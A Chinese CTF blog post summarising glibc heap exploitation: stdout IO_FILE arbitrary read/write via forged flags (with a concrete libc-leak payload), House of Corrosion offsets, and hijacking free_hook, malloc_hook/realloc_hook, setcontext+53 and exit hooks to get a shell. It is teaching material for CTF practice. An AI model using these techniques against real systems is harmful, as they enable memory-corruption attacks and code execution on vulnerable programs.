IO_size_t _IO_new_file_xsputn (_IO_FILE ``*``f, const void ``*``data, _IO_size_t n)``{`` ``const char ``*``s ``=` `(const char ``*``) data;`` ``_IO_size_t to_do ``=` `n;`` ``int` `must_flush ``=` `0``;`` ``_IO_size_t count ``=` `0``;`` ``if` `(n <``=` `0``)``  ``return` `0``;`` ``if` `((f``-``>_flags & _IO_LINE_BUF) && (f``-``>_flags & _IO_CURRENTLY_PUTTING))``  ``{ ``/``/``如果是行缓冲模式...``   ``count ``=` `f``-``>_IO_buf_end ``-` `f``-``>_IO_write_ptr; ``/``/``判断输出缓冲区还有多少空间``   ``if` `(count >``=` `n)``    ``{``     ``const char ``*``p;``     ``for` `(p ``=` `s ``+` `n; p > s; )``      ``{``       ``if` `(``*``-``-``p ``=``=` `'\n'``) ``/``/``最后一个换行符\n为截断符,且需要刷新输出缓冲区``        ``{``         ``count ``=` `p ``-` `s ``+` `1``;``         ``must_flush ``=` `1``; ``/``/``标志为真:需要刷新输出缓冲区``         ``break``;``        ``}``      ``}``    ``}``  ``}`` ``else` `if` `(f``-``>_IO_write_end > f``-``>_IO_write_ptr) ``/``/``判断输出缓冲区还有多少空间(全缓冲模式)``  ``count ``=` `f``-``>_IO_write_end ``-` `f``-``>_IO_write_ptr;`` ``if` `(count > ``0``)``  ``{``   ``/``/``如果输出缓冲区有空间,则先把数据拷贝至输出缓冲区``   ``if` `(count > to_do)``  ``count ``=` `to_do;``   ``f``-``>_IO_write_ptr ``=` `__mempcpy (f``-``>_IO_write_ptr, s, count);``   ``s ``+``=` `count;``   ``to_do ``-``=` `count;``  ``}`` ``if` `(to_do ``+` `must_flush > ``0``) ``/``/``此处关键,见下文详细讨论``  ``{``   ``_IO_size_t block_size, do_write;``   ``if` `(_IO_OVERFLOW (f, EOF) ``=``=` `EOF) ``/``/``调用_IO_OVERFLOW``    ``return` `to_do ``=``=` `0` `? EOF : n ``-` `to_do;``   ``block_size ``=` `f``-``>_IO_buf_end ``-` `f``-``>_IO_buf_base;``   ``do_write ``=` `to_do ``-` `(block_size >``=` `128` `? to_do ``%` `block_size : ``0``);``   ``if` `(do_write)``    ``{``     ``count ``=` `new_do_write (f, s, do_write);``     ``to_do ``-``=` `count;``     ``if` `(count < do_write)``      ``return` `n ``-` `to_do;``    ``}``   ``if` `(to_do)``    ``to_do ``-``=` `_IO_default_xsputn (f, s``+``do_write, to_do);``  ``}`` ``return` `n ``-` `to_do;``}``libc_hidden_ver (_IO_new_file_xsputn, _IO_file_xsputn)

(1)任意写
可以看到,在行缓冲模式下,判断输出缓冲区还有多少空间,用的是count = f->_IO_buf_end - f->_IO_write_ptr,而在全缓冲模式下,用的是count = f->_IO_write_end - f->_IO_write_ptr,若是还有空间剩余,则会将要输出的数据复制到输出缓冲区中(此时由_IO_write_ptr控制,向_IO_write_ptr拷贝count长度的数据),因此可通过这一点来实现任意地址写的功能。
利用方式:以全缓冲模式为例,只需将_IO_write_ptr指向write_start_IO_write_end指向write_end即可。
这里需要注意的是,有宏定义#define _IO_LINE_BUF 0x0200,此处flag & _IO_LINE_BUF为真,则表示flag中包含了_IO_LINE_BUF标识,即开启了行缓冲模式(可用setvbuf(stdout,0,_IOLBF,1024)开启),若要构造flag包含_IO_LINE_BUF标识,则flag |= 0x200即可。
(2)任意读
先讨论_IO_new_file_xsputn源代码中if (to_do + must_flush > 0)有哪些情况会执行该分支中的内容:
(a) 首先要明确的是to_do一定是非负数,因此若must_flush1的时候就会执行该分支中的内容,而再往上看,当需要输出的内容中有\n换行符的时候就会需要刷新输出缓冲区,即将must_flush设为1,故当输出内容中有\n的时候就会执行该分支的内容,如用puts函数输出就一定会执行。
(b) 若to_do大于0,也会执行该分支中的内容,因此,当 输出缓冲区未建立 或者 输出缓冲区没有剩余空间 或者 输出缓冲区剩余的空间不够一次性将目标地址中的数据完全拷贝过来 的时候,也会执行该if分支中的内容。
而该if分支中主要调用了_IO_OVERFLOW()来刷新输出缓冲区,而在此过程中会调用_IO_do_write()输出我们想要的数据。
相关源码:

int` `_IO_new_file_overflow (_IO_FILE ``*``f, ``int` `ch)``{`` ``/``/` `判断标志位是否包含_IO_NO_WRITES ``=``> _flags需要不包含_IO_NO_WRITES`` ``if` `(f``-``>_flags & _IO_NO_WRITES)``  ``{``   ``f``-``>_flags |``=` `_IO_ERR_SEEN;``   ``__set_errno (EBADF);``   ``return` `EOF;``  ``}`` ``/``/` `判断输出缓冲区是否为空 以及 是否不包含_IO_CURRENTLY_PUTTING标志位`` ``/``/` `为了不执行该``if``分支以免出错,最好定义 _flags 包含 _IO_CURRENTLY_PUTTING`` ``if` `((f``-``>_flags & _IO_CURRENTLY_PUTTING) ``=``=` `0` `|| f``-``>_IO_write_base ``=``=` `NULL)``  ``{``   ``...``  ``}`` ``/``/` `调用_IO_do_write 输出 输出缓冲区`` ``/``/` `从_IO_write_base开始,输出(_IO_write_ptr ``-` `f``-``>_IO_write_base)个字节的数据`` ``if` `(ch ``=``=` `EOF)``  ``return` `_IO_do_write (f, f``-``>_IO_write_base,``       ``f``-``>_IO_write_ptr ``-` `f``-``>_IO_write_base);`` ``return` `(unsigned char) ch;``}``libc_hidden_ver (_IO_new_file_overflow, _IO_file_overflow)
static _IO_size_t new_do_write (_IO_FILE ``*``fp, const char ``*``data, _IO_size_t to_do)``{`` ``...`` ``_IO_size_t count;`` ``/``/` `为了不执行``else` `if``分支中的内容以产生错误,可构造_flags包含_IO_IS_APPENDING 或 设置_IO_read_end等于_IO_write_base`` ``if` `(fp``-``>_flags & _IO_IS_APPENDING)``  ``fp``-``>_offset ``=` `_IO_pos_BAD;`` ``else` `if` `(fp``-``>_IO_read_end !``=` `fp``-``>_IO_write_base)``  ``{``   ``_IO_off64_t new_pos``  ``=` `_IO_SYSSEEK (fp, fp``-``>_IO_write_base ``-` `fp``-``>_IO_read_end, ``1``);``   ``if` `(new_pos ``=``=` `_IO_pos_BAD)``  ``return` `0``;``   ``fp``-``>_offset ``=` `new_pos;``  ``}`` ``/``/` `调用函数输出输出缓冲区`` ``count ``=` `_IO_SYSWRITE (fp, data, to_do);`` ``...`` ``return` `count;``}

综上,为了做到任意读,满足如下条件,即可进行利用:
(1) 设置_flag &~ _IO_NO_WRITES,即_flag &~ 0x8
(2) 设置_flag & _IO_CURRENTLY_PUTTING,即_flag | 0x800
(3) 设置_fileno1
(4) 设置_IO_write_base指向想要泄露的地方,_IO_write_ptr指向泄露结束的地址;
(5) 设置_IO_read_end等于_IO_write_base 或 设置_flag & _IO_IS_APPENDING即,_flag | 0x1000
此外,有一个大前提:需要调用_IO_OVERFLOW()才行,因此需使得需要输出的内容中含有\n换行符 或 设置_IO_write_end等于_IO_write_ptr(输出缓冲区无剩余空间)等。
一般来说,经常利用puts函数加上述stdout任意读的方式泄露libc
_flag的构造需满足的条件:

_flags ``=` `0xfbad0000` `_flags & ``=` `~_IO_NO_WRITES ``/``/` `_flags ``=` `0xfbad0000``_flags | ``=` `_IO_CURRENTLY_PUTTING ``/``/` `_flags ``=` `0xfbad0800``_flags | ``=` `_IO_IS_APPENDING ``/``/` `_flags ``=` `0xfbad1800

因此,例如在libc-2.27下,构造payload = p64(0xfbad1800) + p64(0)*3 + b'\x58',泄露出的第一个地址即为_IO_file_jumps的地址。
此外,_flags也可再加一些其他无关紧要的部分,如设置为0xfbad18870xfbad18800xfbad3887等等。

House of Corrosion

global_max_fast的相关利用

fastbin_ptrlibc-2.23指向main_arena+8的地址,在libc-2.27及以上指向main_arena+0x10的地址,从此地址开始,存放了各大小的fast binfd指针,指向各单链表中首个堆块的地址,因此可将global_max_fast改为很大的数,再释放大堆块进入fast bin,那么就可以将main_arena后的某处覆盖成该堆块地址。
因此,我们需要通过目标地址与fast bin数组的偏移计算出所需free的堆块的size,计算方式如下:

fastbin_ptr = libc_base + libc.symbols['main_arena'] + 8(0x10)
index = (target_addr - fastbin_ptr) / 8
size = index*0x10 + 0x20

容易想到,可以通过此方式进行IO_FILE attack:覆写_IO_list_all,使其指向伪造的结构体,或者伪造._chain指向的结构体来实现任意读写,或者伪造vtablelibc-2.23)。
也可以利用此方式,修改__free_hook函数(__malloc_hook__realloc_hookmain_arena的上方),从而getshell,此时需要有UAF漏洞修改__free_hook中的fake fast binfdsystem_addrone_gadget(这里不涉及该fd指针指向的堆块的取出,因此不需要伪造size),然后申请出这个fake fast bin,于是__free_hook这里的“伪链表头”将会指向被移出该单链表的fake fast binfd字段中的地址,即使得__free_hook中的内容被修改成了system_addrone_gadget
需要注意的是,若是用此方法改stdout来泄露相关信息,也可以不改_flags,如假设有漏洞可以修改一个堆块的size,那么可以构造_IO_read_end等于_IO_write_base来进行绕过,具体方式是:改了global_max_fast后,先释放一个需要泄露其中内容的fake fast bin_IO_read_end(此时,正常走IO指针的输出均会失效,因为过不了_IO_read_end = _IO_write_base的判断,就不会执行_IO_SYSWRITE),然后修改该fake fast binsize,再将其释放到_IO_write_base处即可。
利用此方法,也可以对libc进行泄露,毕竟在算index的时候,libc_base是被抵消掉的,或者说,是可以泄露在fastbinsY之后的数据。泄露的思想就是:当free时,会把此堆块置入fastbin链表的头部,所以在free后,此堆块的fd位置的内容,就是free前此SIZE的链表头部指针,通过越界就可以读取LIBC上某个位置的内容。

House of Lore

small bin attack,需要我们能够控制 small bin 最后一个 chunk 的 bk 指针

House of Einherjar

通过伪造 fake prev_size 以在 chunk 合并的过程中达成 overlapping

例题:2016 Seccon tinypad

House of Roman

fastbin attack + unsorted bin attack

House of Pig


Pwned Trick

1.free_hook

劫持free_hook,一般都是申请到free_hook_addr的写入权,改写为one_gadgetsystem等,有时候one_gadget无法使用,就需要free(X),其中这里X地址中的值为/bin/sh,故我们可以申请到free_hook_adddr - 8处的写入权,写入b'/bin/sh\x00' + p64(system_addr),然后free(free_hook_adddr - 8)即可,而一般都由chunk[t] = malloc(...)申请到堆块的读写权,故直接free(chunk[t])即可。

2.malloc_hook配合realloc_hook调整栈帧打one_gadget

malloc_hookrealloc_hook地址相邻,realloc_hookmalloc_hook_addr - 8处,而__libc_realloc中有如下汇编代码:

; 以libc-2.23为例:
6C0    push    r15    ; Alternative name is '__libc_realloc'
6C2    push    r14
6C4    push    r13
6C6    push    r12
6C8    mov     r13, rsi
6CB    push    rbp
6CC    push    rbx
6CD    mov     rbx, rdi
6D0    sub     rsp, 38h
6D4    mov     rax, cs:__realloc_hook_ptr
6DB    mov     rax, [rax]
6DE    test    rax, rax
6E1    jnz     loc_848E8
...

故我们可以申请到malloc_hook_addr - 8的写入权,写入p64(one_gadget) + p64(realloc_addr+offest),即在realloc_hook写入one_gadget,在malloc_hook写入realloc_addr + offest,此处通过控制offest来减少push个数,进而达到调整栈帧的目的,offest可取[0x0, 0x2, 0x4, 0x6, 0x8, 0xb, 0xc]relloc_addr = libc_base + libc.sym['__libc_realloc'],然后通过malloc–>malloc_hook–>realloc–>realloc_hook–>one_gadget的流程getshell
此外,fast bin attack的时候,需构造0x70fast binfd指针指向malloc_hook-0x23处,此时fake size域为0x7f,会被当作0x70

3.setcontext + 53

setcontext中的汇编代码如下:

push    rdi
lea     rsi, [rdi+128h] ; nset
xor     edx, edx        ; oset
mov     edi, 2          ; how
mov     r10d, 8         ; sigsetsize
mov     eax, 0Eh
syscall                 ; LINUX - sys_rt_sigprocmask
pop     rdi
cmp     rax, 0FFFFFFFFFFFFF001h
jnb     short loc_520F0
mov     rcx, [rdi+0E0h]
fldenv  byte ptr [rcx]
ldmxcsr dword ptr [rdi+1C0h]
mov     rsp, [rdi+0A0h]  ; setcontext+53
mov     rbx, [rdi+80h]
mov     rbp, [rdi+78h]
mov     r12, [rdi+48h]
mov     r13, [rdi+50h]
mov     r14, [rdi+58h]
mov     r15, [rdi+60h]
mov     rcx, [rdi+0A8h]
push    rcx
mov     rsi, [rdi+70h]
mov     rdx, [rdi+88h]
mov     rcx, [rdi+98h]
mov     r8, [rdi+28h]
mov     r9, [rdi+30h]
mov     rdi, [rdi+68h]
xor     eax, eax
retn

可以看到从setcontext+53处的mov rsp, [rdi+0A0h]这行代码往后,修改了很多寄存器的值,其中,修改rsp的值将会改变栈指针,因此我们就获得了控制栈的能力,修改rcx的值后接着有个push操作将rcx压栈,然后汇编指令按照顺序会执行到最后的retn操作,而retn的地址就是压入栈的rcx值,因此修改rcx就获得了控制程序流程的能力。
利用pwntools带的SigreturnFrame(),可以方便的构造出setcontext执行时对应的调用区域,实现对寄存器的控制,从而实现函数调用或orw调用,具体如下:

# 指定机器的运行模式
context.arch = "amd64"
# 设置寄存器
frame = SigreturnFrame()
frame.rsp = ...
frame.rip = ...
...

我们将bytes(frame)布置到某个堆块K中,然后将free_hook改为setcontext+53,再通过free(K)即可触发(此时rdi就是K,指向堆块的user data),在我们构造的Frame中,frame.rip就是rcx的值,即执行完setcontext后执行的地址,而 frame.rsp就是最终retnrsp的值(最后再跳转到此处rsp),因此可类似于SROP做到连续控制。

4.劫持exit hook

exit中调用了__run_exit_handlers,而在__run_exit_handlers中又调用了_dl_fini_dl_fini源码如下:

#ifdef SHARED
  int do_audit = 0;
 again:
#endif
  for (Lmid_t ns = GL(dl_nns) - 1; ns >= 0; --ns)
    {
      __rtld_lock_lock_recursive (GL(dl_load_lock));
      unsigned int nloaded = GL(dl_ns)[ns]._ns_nloaded;
      if (nloaded == 0
#ifdef SHARED
      || GL(dl_ns)[ns]._ns_loaded->l_auditing != do_audit
#endif
      )
    __rtld_lock_unlock_recursive (GL(dl_load_lock));

发现了其中调用的两个关键函数:

__rtld_lock_lock_recursive (GL(dl_load_lock));
__rtld_lock_unlock_recursive (GL(dl_load_lock));

再看__rtld_lock_lock_recursive()的定义:

# define __rtld_lock_lock_recursive(NAME) 	
	GL(dl_rtld_lock_recursive) (&(NAME).mutex)

查看宏GL的定义:

# if IS_IN (rtld)
#  define GL(name) _rtld_local._##name
# else
#  define GL(name) _rtld_global._##name
# endif

由此可知,_rtld_global是一个结构体,_dl_rtld_lock_recursive_dl_rtld_unlock_recursive实际上是该结构体中的函数指针,故我们将其中之一修改为one_gadget即可getshell
需要注意的是,_rtld_global结构位于ld.so中 ( ld.sym['_rtld_global'] ),而libc_baseld_base又有固定的差值,如在2.27中有libc_base+0x3f1000=ld_base,此时dl_rtld_lock_recursive_rtld_global的偏移是0xf00dl_rtld_unlock_recursive_rtld_global的偏移是0xf08,最终修改dl_rtld_lock_recursive还是dl_rtld_unlock_recursiveone_gadget视情况而定,需要满足one_gadget的条件才行。
此外,由源码可知,若是有两次修改机会,可以将dl_rtld_lock_recursivedl_rtld_unlock_recursive函数指针改成system的地址,然后在_rtld_global.dl_load_lock.mutex(相对于_rtld_global偏移0x908)的地址中写入/bin/sh\x00,即可getshell
libc中,还有一个更为方便的exit hook,就是__libc_atexit这个函数指针,从exit.c的源码中可以看到:

__run_exit_handlers (int status, struct exit_function_list **listp,
             bool run_list_atexit, bool run_dtors)
{
...
if (run_list_atexit)
    RUN_HOOK (__libc_atexit, ());
...

而在我们调用__run_exit_handlers这个函数时,参数run_list_atexit传进去的值就为真:

void exit (int status)
{
  __run_exit_handlers (status, &__exit_funcs, true, true);
}

因此,可以直接改__libc_atexit的值为one_gadget,在执行exit函数(从main函数退出时也调用了exit())时,就能直接getshell了。
这个__libc_atexit有一个极大的优点,就是它在libc而非ld中,随远程环境的改变,不会有变化。缺点就是,它是无参调用的hook,传不了/bin/sh的参数,one_gadget不一定都能打通。

5.scanf读入大量数据申请large bin,触发malloc_consolidate

当通过scanfgets等走IO指针的读入函数读入大量数据时,若默认缓冲区(0x400)不够存放这些数据,则会申请一个large bin存放这些数据,例如读入0x666个字节的数据,则会申请0x810大小的large bin,并且在读入结束后,将申请的large bin进行free,其过程中由于申请了large bin,因此会触发malloc_consolidate


CTF中常见堆利用总结2
https://k3ppf0r.pages.dev/2022/06/11/二进制安全/PWN/Heap/CTF中常见堆利用总结2/
作者
k3ppf0r
发布于
2022年6月11日
许可协议